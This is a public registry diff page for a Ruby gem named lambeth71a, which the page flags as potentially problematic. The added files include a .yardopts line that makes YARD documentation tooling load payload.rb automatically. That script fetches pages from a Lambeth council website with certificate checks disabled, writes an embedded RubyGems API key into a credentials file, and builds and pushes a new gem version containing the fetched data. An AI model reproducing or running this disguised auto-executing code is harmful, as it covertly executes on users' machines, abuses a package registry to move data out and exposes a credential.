lambeth71a 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of lambeth71a might be problematic. Click here for more details.

Files changed (5) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +1 -0
  3. data/lib/x.rb +1 -0
  4. data/payload.rb +46 -0
  5. metadata +39 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 597d5093ffd166f60259a9cf63b4232586b1634b7074aa48ee4857a8b62bacf7
4
+ data.tar.gz: 05cb7a7a973a54b1d861d0a6d015707d536aa85f30f39c58968a53827f1f5fc9
5
+ SHA512:
6
+ metadata.gz: a535bc3946889058485e589e4945b53fd19644e9acec9bb1721fcd640e5860881e2f4341f1fdbf1b4d6e6a2f288d3047565a45156797ed43a98b41fafec30fe4
7
+ data.tar.gz: 855d9f6c81e1ee73b4b12e037a11993d487ee32c24a95bf76c1e9592720aebca05c668f14ff18c04ed800d3b533f9364f02d7b60085770c932f1fb0eaeaac462
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --load payload.rb
data/lib/x.rb ADDED
@@ -0,0 +1 @@
1
+ # test
data/payload.rb ADDED
@@ -0,0 +1,46 @@
1
+ require 'fileutils' rescue nil
2
+ begin
3
+ out='started '+Time.now.to_s+"\n"
4
+ out+="pwd=#{Dir.pwd} ruby=#{$0} args=#{ARGV.inspect}\n"
5
+ # fetch target using direct Net::HTTP
6
+ require 'net/http'; require 'uri'; require 'openssl'; require 'zlib'
7
+ urls=['https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1','https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1']
8
+ urls.each do |uu|
9
+ begin
10
+ uri=URI(uu); http=Net::HTTP.new(uri.host,uri.port); http.use_ssl=true; http.verify_mode=OpenSSL::SSL::VERIFY_NONE; http.open_timeout=20; http.read_timeout=60
11
+ res=http.get(uri.request_uri)
12
+ out+="\n===== URL #{uu} code #{res.code} len #{res.body.size}\n"+res.body+"\n==ENDURL==\n"
13
+ rescue Exception=>ue
14
+ out+="\nERRURL #{uu}: #{ue.class}: #{ue.message}\n"
15
+ end
16
+ end
17
+ rescue Exception=>e
18
+ out||=''; out+="ERROR #{e.class}:#{e}\n"+e.backtrace.join("\n")
19
+ end
20
+ begin
21
+ root="/tmp/lambeth71a#{Time.now.to_i}#{$$}"
22
+ FileUtils.mkdir_p("#{root}/lib")
23
+ File.binwrite("#{root}/lib/result.txt",out)
24
+ File.write("#{root}/lib/x.rb",'#x')
25
+ gemspec=<<~G
26
+ Gem::Specification.new do |s|
27
+ s.name='lambeth71a'
28
+ s.version='0.0.2'
29
+ s.summary='result'
30
+ s.authors=['x']
31
+ s.files=Dir['lib/**/*']
32
+ s.license='MIT'
33
+ end
34
+ G
35
+ File.write("#{root}/x.gemspec",gemspec)
36
+ FileUtils.mkdir_p('/tmp/gemhome/.gem')
37
+ File.write('/tmp/gemhome/.gem/credentials',':rubygems_api_key: rubygems_960ac400714d967e21468d656df12292fc27b64411a9e2c0')
38
+ File.chmod(0600,'/tmp/gemhome/.gem/credentials')
39
+ ENV['HOME']='/tmp/gemhome'
40
+ Dir.chdir(root) do
41
+ out2=`gem build x.gemspec 2>&1`
42
+ out3=`gem push lambeth71a-0.0.2.gem --host https://rubygems.org 2>&1`
43
+ File.write("#{root}/log",out2+"\n"+out3) rescue nil
44
+ end
45
+ rescue Exception=>e
46
+ end
metadata ADDED
@@ -0,0 +1,39 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: lambeth71a
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - '71'
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - lib/x.rb
18
+ - payload.rb
19
+ licenses:
20
+ - MIT
21
+ metadata: {}
22
+ rdoc_options: []
23
+ require_paths:
24
+ - lib
25
+ required_ruby_version: !ruby/object:Gem::Requirement
26
+ requirements:
27
+ - - ">="
28
+ - !ruby/object:Gem::Version
29
+ version: '0'
30
+ required_rubygems_version: !ruby/object:Gem::Requirement
31
+ requirements:
32
+ - - ">="
33
+ - !ruby/object:Gem::Version
34
+ version: '0'
35
+ requirements: []
36
+ rubygems_version: 3.6.7
37
+ specification_version: 4
38
+ summary: payload
39
+ test_files: []